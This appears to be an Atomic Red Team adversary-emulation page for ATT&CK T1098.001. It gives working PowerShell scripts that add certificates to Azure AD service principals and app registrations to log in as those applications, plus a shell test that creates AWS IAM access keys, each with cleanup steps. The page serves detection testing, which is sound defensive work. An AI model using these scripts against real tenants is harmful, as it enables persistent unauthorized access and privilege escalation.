Skip to content
Atomic Red Team
atomics
T1098.001

T1098.001 - Account Manipulation: Additional Cloud Credentials

Description from ATT&CK (opens in a new tab)

Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.

For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)

In infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts (opens in a new tab), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)

Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for Cloud Service Dashboard (opens in a new tab).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts (opens in a new tab)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)

In AWS environments, adversaries with the appropriate permissions may also use the sts:GetFederationToken API call to create a temporary set of credentials to Forge Web Credentials (opens in a new tab) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated. (Citation: Crowdstrike AWS User Federation Persistence)

In Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user’s primary password is reset.(Citation: Microsoft Entra ID App Passwords)

Atomic Tests


Atomic Test #1 - Azure AD Application Hijacking - Service Principal

Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.

Supported Platforms: Azure-ad

auto_generated_guid: b8e747c3-bdf7-4d71-bce2-f1df2a057406

Inputs:

NameDescriptionTypeDefault Value
usernameAzure AD usernamestringjonh@contoso.com
passwordAzure AD passwordstringp4sswd
service_principal_nameName of the targeted service principalstringSuperSP

Attack Commands: Run with powershell!

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null
 
$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
 
# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry
 
$cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
Write-Host "Generated certificate ""$($cert.Thumbprint)"""
 
New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter
 
Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"

Cleanup Commands:

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null
 
$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
$credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId
foreach ($cred in $credz) {
  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
    Write-Host "Removed $($cred.KeyId) key from SP"
    Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId
  }  
}
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item

Dependencies: Run with powershell!

Description: AzureAD module must be installed.
Check Prereq Commands:
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:
Install-Module -Name AzureAD -Force


Atomic Test #2 - Azure AD Application Hijacking - App Registration

Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.

Supported Platforms: Azure-ad

auto_generated_guid: a12b5531-acab-4618-a470-0dafb294a87a

Inputs:

NameDescriptionTypeDefault Value
usernameAzure AD usernamestringjonh@contoso.com
passwordAzure AD passwordstringp4sswd
application_nameName of the targeted applicationstringSuperApp

Attack Commands: Run with powershell!

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null
 
$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
if ($app -eq $null) { Write-Warning "Application not found"; exit }
 
# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry
 
$cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
Write-Host "Generated certificate ""$($cert.Thumbprint)"""
 
New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter
 
Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"

Cleanup Commands:

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null
 
$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
$credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId
foreach ($cred in $credz) {
  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
    Write-Host "Removed $($cred.KeyId) key from application"
    Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId
  }  
}
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item

Dependencies: Run with powershell!

Description: AzureAD module must be installed.
Check Prereq Commands:
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:
Install-Module -Name AzureAD -Force


Atomic Test #3 - AWS - Create Access Key and Secret Key

Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised

Supported Platforms: Iaas:aws

auto_generated_guid: 8822c3b0-d9f9-4daf-a043-491160a31122

Inputs:

NameDescriptionTypeDefault Value
usernameCreate new AWS access and secret keys for the userstringatomicredteam

Attack Commands: Run with sh!

aws iam create-access-key --user-name #{username} > "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"
cd "$PathToAtomicsFolder/T1098.001/bin/"
./aws_secret.sh

Cleanup Commands:

access_key=`cat "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" | jq -r '.AccessKey.AccessKeyId'`
aws iam delete-access-key --access-key-id $access_key --user-name #{username}
rm "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"

Dependencies: Run with sh!

Description: Check if the user exists.
Check Prereq Commands:
aws iam list-users | grep #{username}
Get Prereq Commands:
echo Please run atomic test T1136.003, before running this atomic